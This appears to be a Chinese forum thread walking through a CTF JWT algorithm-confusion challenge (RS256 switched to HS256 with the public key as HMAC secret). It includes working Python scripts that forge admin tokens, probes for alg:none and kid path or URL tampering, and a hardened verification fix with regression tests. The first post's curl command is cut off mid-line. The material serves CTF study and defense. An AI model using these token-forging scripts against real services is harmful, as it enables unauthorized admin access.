发布于5小时前5小时 背景与授权边界这类 CTF 题通常把登录态放在 JWT 中,服务端声称使用 RS256,却在验签入口同时接受 HS256。问题不在 RSA 本身,而在验证器允许令牌头部的 alg 参与安全决策:RS256 下公钥仅用于验签;HS256 下传入的同一段公钥字节却可能被当成 HMAC 密钥。若实现和库版本未拒绝这种密钥类型错配,攻击者可在靶场中自行构造管理员令牌。以下步骤仅用于自建 CTF、比赛附件或明确授权的测试环境。不要对真实站点猜测密钥、重放令牌或修改他人会话。场景与初步定位假设题目提供普通用户令牌,受保护接口为 /admin,应用响应头或附件暴露 verify.pem。先不要直接改 payload,应先确认服务端到底执行了签名校验,还是只做了解码。# 仅对本地保存的 CTF 样本做离线拆分 export TOKEN='eyJ...' python3 - <<'PY' import os, json, base64 parts = os.environ['TOKEN'].split('.') assert len(parts) == 3 def dec(s): return base64.urlsafe_b64decode(s + '=' * (-len(s) % 4)) print('header =', json.loads(dec(parts[0]))) print('payload=', json.loads(dec(parts[1]))) print('siglen =', len(dec(parts[2]))) PY # 检查题目给出的公钥类型与参数 openssl pkey -pubin -in verify.pem -text -noout openssl pkey -pubin -in verify.pem -outform DER | sha256sum重点记录 header.alg、kid、typ,payload 中的 iss、aud、exp、nbf、role,以及签名字节长度。典型 RSA-2048 签名为 256 字节;如果修改 payload 后接口仍接受,优先怀疑未验签或错误调用 decode,而不是算法混淆。技术分析:混淆发生在哪里正常 RS256 验证相当于 Verify(RSA_public_key, signing_input, signature)。HS256 则是 HMAC-SHA256(secret, signing_input)。危险实现把令牌自带的 alg 直接交给通用 verify,并把同一份 key 传入。攻击者将 alg 改为 HS256,再以公开可得的公钥原始字节计算 HMAC。这里有两个常被忽略的条件。验证器必须同时允许 RS256 与 HS256,且没有把算法固定到密钥配置。作为 HMAC 密钥的字节必须与服务端读取结果完全一致;PEM 换行、末尾换行、DER 转换都会改变 HMAC。较新的库常会拒绝把 PEM 公钥当作 HMAC secret,因此不能仅凭“同时允许两个算法”就断言可利用。即使签名成立,iss、aud、exp、nbf 等声明仍可能导致拒绝,需要区分密码学失败和业务授权失败。操作步骤:用最小实验验证假设先在本地复刻验签逻辑,不要一开始就向靶场批量发包。下面脚本显式读取 PEM 原始字节,构造一个保留原有受众与签发者、仅修改 role 的测试令牌。它用于确认“公钥字节被误作 HMAC 密钥”这一假设,不包含扫描或口令猜测。#!/usr/bin/env python3 import base64, hashlib, hmac, json, time def enc(raw: bytes) -> str: return base64.urlsafe_b64encode(raw).rstrip(b'=').decode() def compact(obj) -> bytes: return json.dumps(obj, separators=(',', ':'), ensure_ascii=False).encode() # 必须保留原始 PEM 字节;不要擅自转 DER 或 strip() key = open('verify.pem', 'rb').read() header = {'alg': 'HS256', 'typ': 'JWT'} payload = { 'sub': 'ctf-player', 'role': 'admin', 'iss': 'ctf-lab', 'aud': 'admin-api', 'iat': int(time.time()), 'exp': int(time.time()) + 300 } body = enc(compact(header)) + '.' + enc(compact(payload)) sig = hmac.new(key, body.encode(), hashlib.sha256).digest() print(body + '.' + enc(sig))将结果只发送到授权靶场的单一验证接口,并保留原令牌和响应。建议一次只改变一个变量:先保持 payload 不变仅切换 alg 与签名,再单独改变 role。这样可避免把 audience 错误、令牌过期或 CSRF 校验失败误判为验签失败。# 授权靶场示例;不要替换为未授权目标 TOKEN=$(python3 forge_lab_token.py) curl -i --http1.1 \ -H 靶场实验、复盘记录与攻防路径示意 网络请求、日志与边界流量分析示意
4小时前4小时 这类题的关键不是“伪造一个 JWT”,而是确认谁在决定验签算法、谁在提供密钥,以及业务是否把解码当成了验签。建议按下面的顺序定位,能比较快地区分算法混淆和普通鉴权缺陷。 先保存一个合法 token,分别对 header、payload 做 Base64URL 解码,记录原始 alg、kid、iss、aud。这里不要先改 payload,先只改 header,观察服务端返回是“算法不允许”“签名失败”还是正常进入业务。 测试 alg:none 时要同时尝试空签名的三段格式,即末尾保留点号。若能通过,通常说明代码只做了解码,或显式关闭了签名校验。 原 token 若为 RS256,再检查是否能改成 HS256,并把 RSA 公钥原始内容当作 HMAC secret 重新签名。能通过说明服务端直接信任 header 中的 alg,同时把同一份 key 交给了可切换算法的通用 verify 接口。公钥的 PEM 换行、头尾标记是否保留会影响题目结果,最好按服务端实际加载形式分别测试。 如果存在 kid,还要确认它是否只用于服务端白名单映射。把 kid 改为空值、未知值、路径形式或 URL 后看错误差异,可以判断是否存在任意文件读取、默认密钥回退或远程 JWK 获取问题;不过这与算法混淆是两条独立利用链,复盘时不要混在一起。 本地验证 RS256→HS256 假设时,可以直接用 Python 生成测试 token。只应在题目或授权靶场中使用: import jwt with open("public.pem", "rb") as f: public_key_bytes = f.read() payload = { "sub": "guest", "role": "admin", "iss": "ctf", "aud": "web" } # 某些新版库会主动拒绝把 PEM 公钥用于 HMAC,这是安全保护。 # 若要复现存在缺陷的旧实现,应使用题目对应版本,或按服务端实际 # 读取方式取得其原始 key bytes,而不是在生产环境绕过库的保护。 token = jwt.encode( payload, public_key_bytes, algorithm="HS256", headers={"alg": "HS256", "typ": "JWT"} ) print(token) 修复时重点放在验签边界,而不是简单过滤 header。服务端必须在配置中固定算法,并按算法类型使用不同密钥对象;header 的 alg 只能用于与预期值比较,不能决定验证流程。伪代码可以写成: EXPECTED_ALG = "RS256" header = decode_header_without_trusting_it(token) if header.get("alg") != EXPECTED_ALG: reject("unexpected jwt algorithm") claims = verify( token, key=RSA_PUBLIC_KEY, algorithms=[EXPECTED_ALG], require=["exp", "iss", "aud"], issuer="ctf-auth", audience="ctf-web" ) # 验签和标准声明检查完成后,才读取角色等业务字段 role = claims.get("role") 最后建议补三类回归用例:none 必须拒绝、RS/HS 互换必须拒绝、签名正确但 iss/aud/exp 不符合也必须拒绝。这样能覆盖“签名算法固定了,但声明校验仍缺失”的常见半修复状态。
创建帐户或登录后发表意见